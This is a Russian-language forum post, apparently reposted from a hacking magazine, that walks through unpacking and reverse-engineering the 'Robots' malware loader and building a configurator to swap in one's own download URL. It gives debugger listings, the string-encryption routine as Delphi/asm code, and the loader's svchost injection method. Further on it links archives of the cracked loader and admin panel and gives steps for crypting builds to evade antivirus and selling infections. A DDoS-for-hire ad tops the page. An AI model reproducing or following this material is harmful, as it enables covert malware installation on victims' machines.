Лоадер Robots бесплатно: $800 за 5 минут - Proxy-Base Community - Анонимность и безопасность в интернете.
Бесплатные прокси. Количество:
Прокси для пользователей форума (API). Количество:
Купить доступ к прокси-листам (API). Количество:
 



Информация по хайдам / репутации

(РЕКОМЕНДУЮ) №1 >>>DDos Атака<<|>>DDoS Service<<< ДДОС СЕРВИС<<|>>Заказать DDOS
Все инфопродукты и приватная информация бесплатно
Старый 04.02.2010, 10:42   #1 (permalink)
VPN
 
Аватар для 2FED
 
Регистрация: 11.05.2009
Адрес: Сибирь
Сообщений: 458
Member ID: 4
ICQ 310234

Репутация: 855
Репутация: 855
Сказал(а) спасибо: 599
Поблагодарили 516 раз(а) в 199 сообщениях
Топикстартер (автор темы) По умолчанию Лоадер Robots бесплатно: $800 за 5 минут

Вступление


В этой статье мы рассмотрим как имея один билд лоадера сделать для него конфигуратор. Тренироваться мы будем на очень известном лоадере robots. Для тех, кто не знает что это такое приведу небольшую цитату от разработчика:

Мы покупаем загрузки, тратим деньги, порою вообще большие суммы, а ведь легко можем получать от этих же загрузок большую отдачу, только если сразу передать на загрузку лоадер Robots. Тут мы получаем и удобную, а главное свою, а не чужую статистику и возможность грузить еще не ограниченное число файлов друзьям, знакомым за один подход, так и сами файлы будут грузиться качественнее. Вы наверняка ощутите отдачу как только начнете, да и добрую часть денег сэкономить можно, зачем лишнее тратить на "недогруженные" загрузки
Приводить все характеристики данного продукта нет смысла, все легко находиться в интернете при должном желании. Почему я выбрал именно этот лоадер для опытов? Да потому, что он очень популярен и судя по заявлениям автора в него встроена мощная защита от реверсеров, т.е. от таких людей как мы.
Что такое лоадер. Это небольшой файлик, который в обход фаерволов загружает нужный нам файл на машину юзера и незаметно его запускает. Так что грузить файлы с помощью лоадера намного лучше, чем грузить файлы сразу. Так что вещь в хозяйстве незаменимая.
Анализ

Ну что же, приступим. На руках имеем 1 билд лоадера который безвозмездно пожертвовали нам добрые люди. Имя файла «loader.exe», размер ~6kb. Натравим на файл любой анализатор (PEiD, DiE, Protection ID) и узнаем, что файл запакован MEW 11 SE 1.2. Это не слишком большая проблема, берём любимый отладчик OllyDbg и вперед. Загружаем в Olly наш файл и оказываемся на точке входа, где видим примерно следующее:
Код:
0090B55F >- E9 F04BAFFF JMP loader.00400154
Перейдём по адресу 00400154 и увидим следующий код:
Код:
00400154 BE 1CA09000 MOV ESI,loader.0090A01C 
00400159 8BDE MOV EBX,ESI 
0040015B AD LODS DWORD PTR DS:[ESI]
Теперь листаем код не много вниз, пока не наткнемся на следующие команды:
Код:
004001F0 FF53 F4 CALL DWORD PTR DS:[EBX-C] 
004001F3 AB STOS DWORD PTR ES:[EDI] 
004001F4 85C0 TEST EAX,EAX 
004001F6 ^ 75 E5 JNZ SHORT loader.004001DD 
004001F8 C3 RETN <- вот сюда нужно поставить breakpoint
Значит ставим breakpoint по адресу 004001F8 и запускаем программу на исполнение. Когда Olly прервётся, в стеке будет примерно следующие:
Код:
0012FFC0 00909000 loader.00909000 <- начало криптора 
0012FFC4 7C816FF7 RETURN to kernel32.7C816FF7
Вот это нам и надо, теперь будем распаковывать «мега приватный» криптор Делаем в Olly F8 (Step over) и перемещаемся на адрес 00909000:
Код:
00909000 CE INTO 
00909001 9B WAIT 
00909002 9F LAHF 
00909003 98 CWDE 
00909004 98 CWDE
Примитивный однобайтовый мусор у нас перед глазами, применяется он чтобы сбить сигнатурную маску у аверов. В теории это так - есть основной «скелет» команд, которые выполняют основную работу, а между ними внедряется случайное число мусорных команд. Но технология давно устарела и современные аверы справляются с этой задачей. Тем более мусор в данном лоадере выделяется на фоне значащих команд. Ладно, нас это не интересует, надо снять криптор чтобы уже исследовать сам лоадер. В общем, в крипторе особо интересного ничего нету, остановимся лишь на нескольких моментах:
Код:
009080E5 0F31 RDTSC // получаем количество тактов 
009080E7 2BC3 SUB EAX,EBX // разность между двумя замерами 
009080E9 EB 01 JMP SHORT loader.009080EC 
009080EB 90 NOP // занопили мусорный байт 
009080EC 3D 00000001 CMP EAX,1000000 // если больше 1000000h 
009080F1 EB 01 JMP SHORT loader.009080F4 
009080F3 90 NOP // занопили мусорный байт 
009080F4 - 77 FE JA SHORT loader.009080F4 // то застрянем тут
RDTSC (Read Time Stamp Counter) - ассемблерная инструкция для платформы x86, читающая счётчик TSC (Time Stamp Counter) и возвращающая в регистрах EDX:EAX 64-битное количество тактов с момента последнего сброса процессора. RDTSC поддерживается в процессорах Pentium и старше. Опкод: 0F 31.
Старая отладка нас не интересует, идём дальше, в крипторе вовсю используется приём с прыжком через мусорный байт, чтобы сбить с толку реверсера бредовым листингом, как это выглядит:
Код:
0090811F /EB 01 JMP SHORT loader.00908122 
00908121 |EA E305EB01 EBEB JMP FAR EBEB:01EB05E3 
00908128 DF59 85 FISTP WORD PTR DS:[ECX-7B] 
0090812B C058 EB 01 RCR BYTE PTR DS:[EAX-15],1 
0090812F EA BA000000 00EB JMP FAR EB00:000000BA
Кроме первой команды JMP SHORT loader.00908122 ничего из этого участка кода не понять, но если занопись мусорные байты, то листинг становиться более читабельным:
Код:
0090811F /EB 01 JMP SHORT loader.00908122 
00908121 |90 NOP 
00908122 \E3 05 JECXZ SHORT loader.00908129 
00908124 EB 01 JMP SHORT loader.00908127 
00908126 90 NOP 
00908127 ^ EB DF JMP SHORT loader.00908108 
00908129 59 POP ECX 
0090812A 85C0 TEST EAX,EAX 
0090812C 58 POP EAX 
0090812D EB 01 JMP SHORT loader.00908130 
0090812F 90 NOP
Ну вот, совсем другое дело. Едем дальше. Чуть позже произойдёт исключение с ошибкой записи в память:
Код:
00404996 BB 0000F7BF MOV EBX,BFF70000 // адрес недоступный для записи 
0040499B 85C9 TEST ECX,ECX 
0040499D 59 POP ECX 
0040499E 64:8937 MOV DWORD PTR FS:[EDI],ESI 
004049A1 B8 002C2B1F MOV EAX,1F2B2C00 // байты для записи 
004049A6 8703 XCHG DWORD PTR DS:[EBX],EAX // ошибка
Лоадер искусственно генерирует исключение и сам же его обрабатывает, такая техника помогает остановить эмулятор отдельный антивирусов, но она, как и все остальное, безвозвратно устарела. Дальше будет ещё исключение, проходим его и наконец перед нами место, которое можно принять за начало лоадера:
Код:
00401E78 803D F8464000 00 CMP BYTE PTR DS:[4046F8],0 
00401E7F 75 0E JNZ SHORT loader.00401E8F 
00401E81 C605 F8464000 01 MOV BYTE PTR DS:[4046F8],1 
00401E88 BA 991E4000 MOV EDX,loader.00401E99 
00401E8D EB 05 JMP SHORT loader.00401E94
Теперь нужно сдампить файл и привести его в человеческий вид. Полученный дамп будет весить 5 Мб, что ну никак не годиться, берём в руки любой PE-editor и отрезаем всё лишнее. Было:
Код:
секция 1: 00001000 00509000 00001000 00509000 C00000E0 
секция 2: ТuЫЉ лФ 0050A000 00002000 0050A000 00002000 C00000E0
Стало:
Код:
секция 1: code 00001000 00509000 00001000 00003A00 E00000E0
Ещё, в добавок к этому, надо занулить директорию импорта ImportTable и сделать SizeOfHeaders = 1000h, иначе файл упадёт при запуске. После всех этих манипуляций размер файла стал 18.5 Кб - это уже не 5 Мб, а если запаковать файл PeCompact, то размер будет 6 Кб, что вполне приемлемо для лоадера. Т.к. у нашего лоадера нету импорта, то он не запуститься на win 2000. Для того, чтобы файл нормально запускался и там нужно добавить хотя бы 1 функцию, сделать это можно вручную и ничего сложного в этом нету.
Я сделал так:
Код:
2500h: 00 00 00 00 00 00 00 00 00 00 00 00 28 25 00 00 ............(%.. 
2510h: 10 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .0.............. 
2520h: 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 ........kernel32 
2530h: 2E 64 6C 6C 00 00 B7 00 45 78 69 74 50 72 6F 63 .dll....ExitProc 
2540h: 65 73 73 00 00 00 00 00 00 00 00 00 00 00 00 00 ess.............
И, соответственно, ImportTable address = 2500h и size = 14h.
Теперь можно анализировать лоадер и искать нужное нам место для подменяя url на наш. Принцип работы нас не интересует, нам важно сделать конфигуратор.
Основная часть
Немного посмотрев лоадер в Olly я выяснил, что все строки шифруются одной процедурой:
Код:
0040141E 55 PUSH EBP // начало 
… 
00401486 AC LODS BYTE PTR DS:[ESI] // esi = строка 
00401487 84C0 TEST AL,AL // пока символ <> 0 
00401489 74 13 JE SHORT dump_.0040149E 
0040148B FEC2 INC DL // увеличиваем счётчик 
0040148D 8ACA MOV CL,DL 
0040148F 80E1 1F AND CL,1F // счётчик AND 1Fh 
00401492 80C1 61 ADD CL,61 // счётчик ADD 61h 
00401495 FECE DEC DH // уменьшаем счётчик 
00401497 32CE XOR CL,DH // ксорим 2 счетчика 
00401499 32C1 XOR AL,CL // ксорим символ строки 
0040149B AA STOS BYTE PTR ES:[EDI] // записываем в результат 
0040149C ^ EB E8 JMP SHORT dump_.00401486
Алгоритм очень простой и обратимый. Т.е. если на вход подать зашифрованную строку, то она расшифруется, а если уже расшифрованную, то соответственно зашифруется. Осталось только найти нужную нам строку. Для обхода фаерволов применяется старый метод с запуском доверенного приложения «svchost.exe» и инъектом в него кода, который скачивает нужный файл. Как я это узнал? Да для этого надо всего лишь пройтись по лоадеру разбирая каждую инструкцию, ничего сложного в этом нет. В данном случае инъектиться весь образ лоадера. Значит, чтобы вплотную подобраться к нужной нам строке ставим breakpoint на CreateProcessA и запускаем лоадер. Через пару секунд прервёмся на этом месте:
Код:
7C802367 >/$ 8BFF MOV EDI,EDI 
7C802369 |. 55 PUSH EBP
И в стеке будет следующее:
Код:
0012FF30 0040226E /CALL to CreateProcessA 
0012FF34 00000000 |ModuleFileName = NULL 
0012FF38 004048C2 |CommandLine = "svchost.exe" // доверенное приложение
Перемещаемся дальше, имеем в Olly по адресу ZwCreateThread, и что же мы видим:
Код:
7C90D7D2 > 68 19184000 PUSH 401819 // адрес перехватчика 
7C90D7D7 C3 RETN
А эта функция, оказывается, перехвачена и всё самое интересное будет происходить по адресу 401819. По-этому идём туда и ставим breakpoint, жмём F9 (run) в Olly. Когда прервёмся увидим примерно такой код:
Код:
00401819 55 PUSH EBP 
0040181A 8BEC MOV EBP,ESP 
0040181C 83C4 DC ADD ESP,-24
Листаем вниз, пока не увидим следующие инструкции:
Код:
00401959 C786 B8000000 8E1B400>MOV DWORD PTR DS:[ESI+B8], 00401B8E 
00401963 FF75 EC PUSH DWORD PTR SS:[EBP-14] 
00401966 8F86 AC000000 POP DWORD PTR DS:[ESI+AC] 
0040196C 8B35 D4494000 MOV ESI,DWORD PTR DS:[4049D4] 
00401972 8B3D CC494000 MOV EDI,DWORD PTR DS:[4049CC] // ZwCreateThread 
00401978 A5 MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] 
00401979 66:A5 MOVS WORD PTR ES:[EDI],WORD PTR DS:[ESI] 
0040197B FF75 F0 PUSH DWORD PTR SS:[EBP-10] 
0040197E FF75 20 PUSH DWORD PTR SS:[EBP+20] 
00401981 FF75 F4 PUSH DWORD PTR SS:[EBP-C] 
00401984 FF75 18 PUSH DWORD PTR SS:[EBP+18] 
00401987 FF75 F8 PUSH DWORD PTR SS:[EBP-8] 
0040198A FF75 10 PUSH DWORD PTR SS:[EBP+10] 
0040198D FF75 0C PUSH DWORD PTR SS:[EBP+C] 
00401990 FF75 08 PUSH DWORD PTR SS:[EBP+8] 
00401993 FF15 D0494000 CALL DWORD PTR DS:[4049D0] // ZwCreateThread
На этом участке происходит примерно следующее: снимаем перехватчик с функции ZwCreateThread и вызываем оригинальную функцию, перед этим меняем адрес начала нового потока на 00401B8E. Команды по этому адресу будут выполнены в контексте доверенного процесса. Вот то, что нам нужно. Для того, чтобы оказаться по адресу 00401B8E нам потребуется сделать следующее. Ставим breakpoint на адрес 0040197B, прерываемся на нём. Дальше переходим в olly на 00401B8E и нажимаем правую кнопку мыши, в выпавшем меню выбираем «New origin here», т.е. мы передали управление на этот адрес. Помните в начале мелькал адрес 0040141E, это процедура, которая расшифровывает строки, вот теперь ставим breakpoint на её начало. Прервёмся когда, в стеке будет следующее:
Код:
0012F32C 00401619 dump_.00401619 
0012F330 00404088 dump_.00404088 
0012F334 00404877 dump_.00404877 // вот адрес который нам нужен
Если дойди до конца процедуры
Код:
004014A4 61 POPAD 
004014A5 C9 LEAVE 
004014A6 C2 0400 RETN 4
то по адресу 00404877 будет наша искомая строка:
Код:
00404877 68 74 74 70 3A 2F 2F http://
Ну вот, наше исследование подошло к концу, осталось заменить эту строку на любую другую, которую мы захотим, для этого нужно зашифровать ее и записать в файл.
Алгоритм на дельфи с асм вставками будет выглядеть примерно так:
Код:
Var 
s:string; 
res:array [1..45] of byte; 
… 
Begin 
s:=new_url; 
ZeroMemory(@res,45); 
asm 
xor edx,edx 
mov esi,s // помещаем в esi адрес строки 
lea edi,res // помещаем в edi адрес выходного буфера 
@@next_char: 
LODS BYTE PTR DS:[ESI] // помещаем в AL символ из нашей строки 
TEST AL,AL 
JE @@exit // конец строки? 
INC DL // эти действия мы разбирали ранее 
MOV CL,DL 
AND CL,1Fh 
ADD CL,61h 
DEC DH 
XOR CL,DH 
XOR AL,CL 
STOS BYTE PTR ES:[EDI] // помещаем полученный байт в выходной массив 
jmp @@next_char 
@@exit: // на выход 
end;
Итог

Вот так просто мы написали конфигуратор к лоадеру, цена которому 800 $. Для этого нужно было только немного терпения и небольшой опыт в реверсе. Авторам можно посоветовать за такие деньги в несколько раз больше трудиться над продуктом. С уверенностью можно утверждать, что цена явно завышена.
Бонус

К статье прилагается распакованный лоадер, готовый конфигуратор, его исходники и скрипты. Всё это доступно для ознакомления, чтобы каждый мог посмотреть, что же за софт продаётся за такие деньги. Распакованный лоадер прекрасно пакуется и криптуется, благодаря этому каждый может попробовать данный софт. Никаких вирусов и т.д. в софте нету.
Скачать архив с файлами можно тут:
http://rapidshare.de/files/38862218/archive.rar.html
http://dump.ru/files/o/o546527129/
http://webfile.ru/1811204
http://depositfiles.com/files/4192601
Использование

Для начала надо сделать билд с нужным нам url (url до админки http://hots.com/bbb/robo.php). Затем запаковать любым пакером, я использовал PeCompact. Дальше можно криптануть каким-нибудь приватным криптором, коих куча на бескрайних просторах. После этого заливаем админку на хост, настраиваем её, ничего сложного в этом нету.
Установка админки:
Распаковать содержимое архива и залить на сервер.
Установить права на запись на tasks и stat
Открыть http://ваш_сервер/admin.php в браузере и установить пароль на админку
Зайти в админку под admin/ваш_пароль и создать первые задания.
Дальше надо дать задание - в поле страна пишем AC (All Country ну или сокращение любой страны, UA, US) номер даём любой, в поле ссылка, пишем путь до нашего файла: http://host.com/gif/banner.exe 1 В конце, должна быть цифра обязательно, она определяет в каком порядке грузить файлы, т.е. если там несколько ссылок, то должно быть url 1 url 2 и т.д.
Вот вроде бы и всё, использовать можно как угодно, продавать чистые билды, самому грузить файлы, продавать загрузки и т.д.
Оригинал статьи http://www.xakep.ru/post/42938/default.asp

//Ps.Может кто сделает билдер спициально для базы,исходники в архиве есть.
2FED вне форума   Ответить с цитированием
Пользователь сказал cпасибо:
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Trackbacks are Вкл.
Pingbacks are Вкл.
Refbacks are Вкл.





DDoS Protected




Мы в твиттере, Proxy-Base.Org Twitter

Proxy-Base Community - Анонимность и безопасность в интернете.
Наши партнеры: CRC Labs, SEO-Crack.Com, Garsuk.Com, SED Team, Skladchik.com, BSS Family

Powered by vBulletin® | Булка сделана в пекарне®
Copyright © 2000 - , Jelsoft Enterprises Ltd. Перевод: zCarot
Вся информация на сайте выложена исключительно в ознакомительных целях.